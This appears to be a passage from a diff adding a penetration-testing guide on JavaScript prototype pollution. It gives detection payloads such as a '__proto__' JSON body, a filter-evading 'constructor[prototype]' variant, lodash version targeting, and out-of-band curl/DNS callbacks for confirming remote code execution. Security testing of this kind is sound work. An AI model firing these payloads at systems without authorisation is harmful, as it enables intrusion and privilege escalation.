3. Server-side: send `{"__proto__":{"json spaces":10}}` — if JSON response becomes indented, prototype is polluted
|
|
225
|
+
4. For RCE: use OAST callback (curl/DNS) as payload, confirm OOB callback received
|
|
226
|
+
5. Demonstrate business impact: auth bypass or privilege escalation (not just `alert(1)`)
|
|
227
|
+
|
|
228
|
+
---
|
|
229
|
+
|
|
230
|
+
## Pro Tips
|
|
231
|
+
|
|
232
|
+
1. `json spaces` trick: `{"__proto__":{"json spaces":10}}` → indented JSON response = confirmed server-side PP, zero destructive risk
|
|
233
|
+
2. Client-side PP is often in 3rd-party libraries (jQuery plugins, analytics, A/B testing)
|
|
234
|
+
3. Hash-based routing (`#__proto__[x]=1`) is never sent to server — pure client-side test
|
|
235
|
+
4. `constructor[prototype]` is equivalent to `__proto__` but bypasses some naive filters
|
|
236
|
+
5. Look for lodash < 4.17.11 in package.json — vulnerable by default
|
|
237
|
+
6. Prototype pollution + server-side template = almost always RCE
|
|
238
|
+
7. After finding PP, always test for gadgets in ALL JavaScript loaded by the page — not just app code
|
|
239
|
+
|
|
240
|
+
## Summary
|
|
241
|
+
|
|
242
|
+
Prototype pollution is finding an object merge function that doesn't sanitize `__proto__` or `constructor.prototype`. Client-side leads to DOM XSS via gadgets. Server-side leads to auth bypass or RCE. The `json spaces` trick is the safest server-side confirmation. Gadget hunting is the hard part — use DOM Invader or manual review.
|